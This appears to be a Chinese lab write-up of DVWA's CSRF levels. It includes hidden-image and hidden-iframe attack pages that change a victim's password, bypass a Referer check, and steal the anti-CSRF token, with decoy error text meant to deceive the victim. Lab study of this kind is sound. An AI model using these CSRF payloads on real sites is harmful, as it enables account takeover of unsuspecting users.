是这样的
不小心只输入了源密码,竟然给我改成了Null
233
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIiclRnblN2XjlGcjAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHL5dmaNl3a65EeVpHW3BjMMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnLxEzM4UDMwUTM5IzMwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
先看看low的
可以直接构造链接
http://169.254.132.13/DVWA/vulnerabilities/csrf/
?password_new=
&password_conf=
&Change=Change
太长?
使用短地址
百度一搜就行
攻击页面
在公网上的攻击页面,
受害者访问后会认为是自己点击的是一个失效的url,嘿嘿
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<img src="http://169.254.132.13/DVWA/vulnerabilities/csrf/?password_new=&password_conf=&Change=Change#" border="0" style="display:none;"/>
<h1>服务器君好像走丢了呢<h1>
</body>
</html>
medium
多了个来源判断
Referer参数中要包含主机名
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释:字符串位置从 0 开始,不是从 1 开始。
攻击页面
把攻击页面名称改为
被攻击主机名.html
完美包含
high
加了token
仍然可以个构建攻击页面,但是需要放在被攻击的服务器上
(同源策略)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>error</title>
</head>
<script type="text/javascript">
function upup(){
var a = document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
var b = "http://169.254.132.13/DVWA/vulnerabilities/csrf?password_new=&password_conf=&user_token=" + a + "&Change=Change";
document.all.img1.src = b;
}
</script>
<body onload="upup()">
<iframe src="http://169.254.132.13/DVWA/vulnerabilities/csrf" id="hack" height="0" width="0" style="display:none;"></iframe>
<img src= "#;" height="0" width="0" style="display:none;" id="img1"/>
<h1>服务器君好像走丢了……</h1>
</body>
</html>
用一个看不见的iframe 获取了token
impossible
加了一个password_current需要原密码
加了PDO防SQL
PDO简介及其基本使用